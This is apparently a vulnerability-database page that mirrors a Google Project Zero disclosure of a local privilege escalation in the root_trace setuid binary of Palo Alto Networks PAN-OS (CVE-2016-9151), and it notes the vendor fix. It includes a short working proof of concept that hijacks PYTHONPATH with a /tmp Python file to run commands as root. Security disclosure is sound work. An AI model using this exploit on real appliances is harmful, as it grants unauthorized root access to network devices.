Lucene search
K

Palo Alto Networks PanOS root_trace - Privilege Escalation Vulnerability

🗓️ 19 Nov 2016 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 54 Views

PanOS root_trace Privilege Escalation Vulnerability fi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Palo Alto Networks PanOS root_reboot - Privilege Escalation Vulnerability
19 Nov 201600:00
zdt
Circl
CVE-2016-9151
18 Nov 201600:00
circl
CNVD
Palo Alto Networks PAN-OS Local Elevation of Privilege Vulnerability
22 Nov 201600:00
cnvd
CVE
CVE-2016-9151
19 Nov 201606:29
cve
Cvelist
CVE-2016-9151
19 Nov 201606:29
cvelist
EUVD
EUVD-2016-9968
7 Oct 202500:30
euvd
NVD
CVE-2016-9151
19 Nov 201606:59
nvd
OpenVAS
Palo Alto PAN-OS Local Privilege Escalation (PAN-SA-2016-0034)
21 Nov 201600:00
openvas
OSV
CVE-2016-9151
19 Nov 201606:59
osv
Palo Alto Networks
Local Privilege Escalation
17 Nov 201617:00
paloalto
Rows per page
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=912
 
The setuid root executable /usr/local/bin/root_trace essentially just does setuid(0) then system("/usr/local/bin/masterd"), which is a python script:
 
$ ls -l /usr/local/bin/root_trace 
-rwsr-xr-x 1 root root 12376 Oct 17  2014 /usr/local/bin/root_trace
 
As the environment is not scrubbed, you can just do something like this:
 
$ cat /tmp/sysd.py
import os
os.system("id")
os._exit(0);
 
$ PYTHONPATH=/tmp root_trace
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)
 
This was fixed by PAN:
 
http://securityadvisories.paloaltonetworks.com/Home/Detail/67

#  0day.today [2018-02-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation